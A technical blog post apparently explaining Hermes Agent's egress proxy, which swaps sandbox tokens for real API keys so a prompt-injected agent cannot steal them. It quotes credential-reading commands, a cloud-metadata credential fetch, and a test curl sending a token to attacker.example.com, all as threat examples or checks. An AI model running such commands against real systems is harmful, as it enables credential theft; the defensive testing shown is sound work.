Hermes Agent Deep Cuts: The Egress Firewall That Turns Sandbox Keys Into Useless Tokens
I am running Hermes Agent v0.20.0 (2026.8.3), and this post is part of the ongoing Deep Cuts series — spotlighting one specific feature that most users walk past.
Today’s feature: the egress credential-injection proxy — hermes egress, a managed iron-proxy (Apache-2.0, Go) daemon that TLS-terminates outbound traffic from Docker sandboxes and swaps opaque proxy tokens for your real API keys at the boundary, so the sandbox never holds a key worth exfiltrating.
The uncomfortable truth this feature is built around: when you run Hermes with a Docker terminal backend, your sandbox normally holds your real upstream credentials. OPENROUTER_API_KEY is a shell variable in that container. A prompt-injected agent — or a compromised dependency, or a malicious package that your agent just installed — can run printenv | grep -i key or cat ~/.config/openrouter/auth.json and exfiltrate a key that spends your money and reads your data from anywhere. The docs spell out the threat model on the iron-proxy user guide page: the sandbox gets tokens that only work behind the configured trusted proxy boundary — the CA private key and the proxy endpoint are part of that boundary.
What it actually does
The architecture is a small, deliberate inversion of where the secret lives:
┌──────────────┐ ┌──────────────┐ ┌─────────────┐
│ Docker │ CONNECT / │ iron-proxy │ HTTPS w/ │ OpenRouter │
│ sandbox ├──────────────▶│ (host:9090) ├───────────────▶│ / OpenAI / │
│ │ HTTP forward │ │ real API key │ Anthropic … │
│ has: │ w/ proxy tok │ mints leaf │ │ │
│ - proxy tok │ in Auth hdr │ cert from CA │ │ │
│ - CA cert │ │ matches token │ │ │
│ - HTTPS_PROXY│ │ swaps secret │ │ │
└──────────────┘ └──────────────┘ └─────────────┘
- The sandbox gets
HTTPS_PROXY=http://host.docker.internal:9090plus the provider env names —OPENROUTER_API_KEY,OPENAI_API_KEY, etc. — set to minted proxy tokens, not your keys. Each mapping also gets aHERMES_PROXY_TOKEN_<ENV_NAME>diagnostic alias. - An SDK inside the sandbox sends
Authorization: Bearer <proxy-token>to e.g.openrouter.ai. Because ofHTTPS_PROXY, that goes to iron-proxy as a CONNECT tunnel. - iron-proxy checks the allowlist, mints a leaf cert for
openrouter.aisigned by the local CA (mounted read-only at/etc/ssl/certs/hermes-egress-ca.crt), terminates TLS, and asecretstransform substitutes the real credential — sourced from the host-side daemon’s environment — before re-encrypting and forwarding upstream.
A request to a host not on the allowlist is rejected with HTTP 403 before any bytes leave the host, and the denial is recorded in the daemon log.
This is not the same thing as the inbound hermes proxy command (an OAuth aggregator reverse proxy). Different command, different direction, and the docs are explicit: it does not sit between your local terminal and providers, and it does not rewrite credentials for in-process LLM calls on the host. The threat model is the sandbox, not the host.
Why it is obscure
Three reasons, and the first is the most honest one: it is off by default and Docker-only. The proxy: block in config.yaml ships with enabled: false, and the docs state plainly that this release wires the egress proxy into the Docker backend only — Modal, Daytona, SSH, and Singularity do not receive proxy env vars or CA mounts yet. If you run Hermes with a local or SSH terminal backend, the feature is a no-op for you and you will never see it.
Second, the CLI name reads like plumbing. hermes egress sits in the command tree next to hermes gateway and hermes webhook, and its first subcommand is install — a binary download. Nothing in that first impression says “this is a security boundary.” The wizard’s own banner (in the source) is the clearest description in the product: “Routes outbound sandbox traffic through a local TLS-intercepting proxy so prompt-injected agents never see real provider API keys.”
Third, the covered-auth-scheme table is easy to miss. The secrets transform matches more than Authorization: Bearer. From the docs and the installed source (agent/proxy_sources/iron_proxy.py):
| Provider | Env var | Swapped in |
|---|---|---|
| OpenRouter, OpenAI, Groq, Together, DeepSeek, Mistral, xAI, Nous | *_API_KEY | Authorization header |
| Anthropic native | ANTHROPIC_API_KEY | x-api-key + Authorization |
| Azure OpenAI | AZURE_OPENAI_API_KEY | api-key + Authorization |
| Google AI Studio (Gemini) | GEMINI_API_KEY / GOOGLE_API_KEY | x-goog-api-key header or ?key= query param |
GEMINI_API_KEY and GOOGLE_API_KEY are treated as one credential — a single token minted under both names, because SDKs read either. And there is an explicit uncovered list: AWS (AWS_ACCESS_KEY_ID/AWS_SECRET_ACCESS_KEY, SigV4-signed requests) and GCP Vertex (GOOGLE_APPLICATION_CREDENTIALS, SDK-minted OAuth) cannot be swapped by static header replacement. If those env vars are present, the sandbox holds real credentials for those providers and the isolation guarantee is incomplete for them — the setup wizard surfaces them as warnings, never as blockers.
The default-deny posture
The interesting part is how much safety is bundled into the defaults. Two lists are compiled into the binary’s config at setup time, and both come from the installed source:
The upstream allowlist — everything else gets 403’d:
openrouter.ai *.openrouter.ai
api.openai.com api.anthropic.com
generativelanguage.googleapis.com
api.x.ai api.mistral.ai
api.groq.com api.together.xyz
api.deepseek.com inference.nousresearch.com
The SSRF deny CIDRs — applied regardless of allowlist, checked at connect time so a DNS rebinding attack on an allowlisted hostname can’t reach your internal network:
| CIDR | Purpose |
|---|---|
127.0.0.0/8, ::1/128 | Loopback (v4 + v6) |
169.254.0.0/16, fe80::/10 | Link-local — incl. AWS/GCP/Azure IMDS at 169.254.169.254 |
10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16 | RFC1918 |
fc00::/7 | IPv6 ULA |
::ffff:0:0/96 | IPv4-mapped IPv6 — closes the dual-stack IMDS bypass |
100.64.0.0/10 | RFC6598 CGNAT (AWS VPC, K8s pod networks) |
198.18.0.0/15 | RFC2544 benchmark range |
That second list is the quiet killer feature for anyone running agents on cloud VMs: the single most common sandbox escape is curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ — the cloud metadata service. This proxy refuses that IP at the network boundary by default, including the ::ffff:169.254.169.254 IPv4-mapped form that trips up naive filters.
The bind policy matters too: the proxy never binds 0.0.0.0. On Linux it binds the docker bridge gateway (172.17.0.1:9090) — reachable by containers, not by the LAN. On macOS/Windows Docker Desktop it binds loopback. The docs’ claim: “A LAN peer with a leaked proxy token cannot use the proxy — neither bind is reachable from the external network.”
What the sandbox actually receives
When proxy.enabled: true and the daemon is listening, the Docker backend (tools/environments/docker.py, _egress_proxy_args_for_docker) adds to docker run:
-v ~/.hermes/proxy/ca.crt:/etc/ssl/certs/hermes-egress-ca.crt:ro-e HTTPS_PROXY=http://host.docker.internal:9090and-e HTTP_PROXY=http://host.docker.internal:9091(plain-HTTP forward listener ontunnel_port + 1)-e NO_PROXY=127.0.0.1,localhost,::1— loopback dev servers inside the sandbox bypass the proxy-e REQUESTS_CA_BUNDLE=…,SSL_CERT_FILE=…,CURL_CA_BUNDLE=…,NODE_EXTRA_CA_CERTS=…pointing at the mounted CA-e NODE_OPTIONS="<your value> --use-openssl-ca"— appended, so your--max-old-space-sizesurvives-e HERMES_EGRESS_PROXY=1— a sentinel the agent can read to know it’s proxy-aware- Provider env names set to proxy tokens, plus
HERMES_PROXY_TOKEN_<NAME>aliases --add-host=host.docker.internal:host-gatewayon Linux
The docker_env collision check is the enforcement teeth: if you set proxy-controlling vars (HTTPS_PROXY, REQUESTS_CA_BUNDLE, …) or provider env names in your docker_env: block, Hermes refuses to start the sandbox when enforce_on_docker: true — it will not silently let you override the boundary. Same for docker_forward_env forwarding a protected key, and docker_extra_args that could re-override env/network controls.
The fail-closed gotcha (verified live)
Here is the gotcha that makes the happy path fail, and I hit it with the real binary on this machine: enforce_on_docker: true means a configured-but-not-running proxy blocks sandbox creation entirely. The error from tools/environments/docker.py is explicit:
iron-proxy is enabled but not running on port 9090. Start it with `hermes egress start`.
If your host reboots and the daemon doesn’t come back (it is a managed subprocess, not a systemd unit), every new Docker sandbox refuses to start. That is fail-closed by design — “I asked for isolation, don’t silently give me the un-isolated fallback” — but it is exactly the kind of thing that makes an operator think the feature is broken when it’s actually working as specified. The escape hatch is proxy.enforce_on_docker: false, which explicitly opts back into the legacy “real credentials inside the sandbox” posture with a warning.
The second gotcha is the Node.js asymmetry, documented as a known v1 limitation: REQUESTS_CA_BUNDLE/SSL_CERT_FILE/CURL_CA_BUNDLE replace the system CA store, but NODE_EXTRA_CA_CERTS adds to it. A Node process that opens a raw net.Socket and starts its own TLS handshake can bypass the proxy entirely — the system store still trusts real upstream certs. NODE_OPTIONS=--use-openssl-ca forces Node through the OpenSSL store and narrows the gap, but does not cover code that explicitly passes its own ca option. The docs’ advice is blunt: do not run untrusted Node code in a sandbox you are depending on egress isolation for.
What I verified live, on this machine
I ran the whole flow against the pinned binary in an isolated HERMES_HOME (never touching the production profile config):
export HERMES_HOME=/tmp/hermes-egress-cli
export OPENROUTER_API_KEY=sk-or-test-egress-dummy # dummy, discovery only
hermes egress install # → ✓ installed …/bin/iron-proxy 0.39.0 (SHA-256 verified download)
hermes egress setup # CA gen → mint token → proxy.yaml + mappings.json (all 0o600)
hermes egress start # → ✓ iron-proxy running pid=… port=9090 listening
hermes egress status # enabled, binary 0.39.0, config, CA, listening, credential src: env, docker enforce: yes
The generated proxy.yaml shows the deny CIDRs, the 11-host allowlist as a secrets transform with match_headers: [Authorization], metrics.listen: 127.0.0.1:0, and tunnel_listen: 172.17.0.1:9090 (bridge gateway). Then the decisive check — a request to a non-allowlisted host with a minted token:
curl -x http://172.17.0.1:9090 \
-H "Authorization: Bearer openrouter-23ec…" \
https://attacker.example.com/leak
# → HTTP 000 / connection closed — and in iron-proxy.log:
# {"…","msg":"tunnel short-circuited by transform","target":"attacker.example.com:443","status":403}
# {"…","action":"reject","status_code":403,"rejected_by":"allowlist",…}
The daemon log is line-delimited JSON with a per-request audit record — host, method, remote addr, SNI, mode, action, status code, duration. That is a usable forensics stream out of the box (on v0.39 it all lands in iron-proxy.log; audit.log is a pre-created 0-byte placeholder until the pinned binary bumps to a version with log.audit_path).
I also ran the project’s own test suites for this feature in a throwaway venv against the installed v0.20.0 tree:
tests/test_iron_proxy_e2e.py— 3 passed:test_iron_proxy_swaps_authorization_header_end_to_end,test_iron_proxy_swaps_x_api_key_header_end_to_end,test_iron_proxy_management_reload_end_to_end(real binary, real curl, local fake upstream; gated behindHERMES_RUN_E2E=1)tests/test_iron_proxy.py+tests/test_iron_proxy_cli.py— 35 passed, 0 skipped (token mint, mapping I/O, binary install path, CA TOCTOU, subprocess lifecycle, deny CIDR defaults, bind policy)
When it matters
If your Hermes agent runs in Docker on a machine that holds real cloud credentials — a VM with an IAM role, a dev box with gcloud/aws CLIs — the egress proxy is the difference between “a compromised sandbox walks away with nothing” and “a compromised sandbox spends your API quota and reads your data.” The layered story is the point: the sandbox holds tokens that only work behind a host-side TLS-intercepting proxy that is itself default-deny on upstreams and refuses IMDS by default. The one caveat to keep honest: this protects against sandbox compromise, not host compromise — the real keys still live in ~/.hermes/.env on the host, and the docs say so.
Bitwarden integration is the rotation story: hermes egress setup --from-bitwarden sets credential_source: bitwarden, and the daemon refetches secrets via bws secret list on every restart — rotate in the BW web app, hermes egress stop && hermes egress start, done. No .env edits. And the fail-loud behavior is deliberate: missing BWS_ACCESS_TOKEN or empty secret list refuses to start rather than silently falling back to stale host env (proxy.allow_env_fallback: false is the migration-era opt-out).
Facts, inference, and the open edge
Observed (docs + installed v0.20.0 source + live run): the proxy: config block with all defaults (enabled: false, tunnel_port: 9090, enforce_on_docker: true, allow_env_fallback: false); the 11-host default allowlist and the 7-CIDR SSRF deny list in both docs and agent/proxy_sources/iron_proxy.py; bearer/header/query auth-swap coverage with the exact env-var-to-header table; the uncovered AWS/GCP providers; the Docker-only wiring with _egress_proxy_args_for_docker, collision refusal, and HERMES_EGRESS_PROXY=1; the PID/nonce defense (pidfile with O_EXCL+O_NOFOLLOW, per-start nonce checked against /proc/<pid>/environ); my live install/setup/start/status run on v0.39.0; the live 403 + JSON audit record for attacker.example.com; the 35 hermetic + 3 E2E tests passing; the docs’ explicit Node.js raw-socket caveat and the v0.39 single-log-stream behavior with the 0-byte audit.log placeholder.
Inference: the design pattern here — move the credential to a boundary process the untrusted code can’t reach, then make the boundary default-deny — is the agent-security equivalent of least privilege, applied to egress instead of just command approval. enforce_on_docker: true is the tell that the project treats egress isolation as a guarantee, not a preference: silent degradation is treated as worse than refusal.
Open questions: when Modal/Daytona/SSH wiring lands (the docs say separate PRs), whether the same collision-refusal semantics survive non-container backends; whether the CA rotation gap (hermes egress rotate-ca is a “follow-up”) gets closed before a 10-year cert becomes an operational deadline; and whether upstream iron-proxy’s v0.40+ audit_path split actually lands, since the entire forensics story currently depends on one combined log file.
Sandbox isolation without egress control is a locked room with a window: the code can’t touch your filesystem, but it can absolutely phone home with everything you gave it. Hermes’ answer is to make the phone itself the boundary — and to refuse to run at all when that boundary is down. That is the rare failure mode you actually want to be stuck in.
Sources
- Egress credential-injection proxy (iron-proxy) — user guide
- Egress proxy internals — developer guide
- Security — user guide
- Upstream project: github.com/ironsh/iron-proxy
hermes_cli/config_defaults.py—proxy:block defaults (v0.20.0, installed)hermes_cli/proxy_cli.py— egress CLI handlers (v0.20.0, installed)agent/proxy_sources/iron_proxy.py— token mint, allowlist, deny CIDRs, lifecycle (v0.20.0, installed)tools/environments/docker.py— egress arg builder and enforcement (v0.20.0, installed)tests/test_iron_proxy_e2e.py— live E2E suite (3 passed, this run)- Live verification run, 2026-08-11: isolated
HERMES_HOME=/tmp/hermes-egress-cli, iron-proxy v0.39.0, install→setup→start→status, live 403 onattacker.example.comwith JSON audit record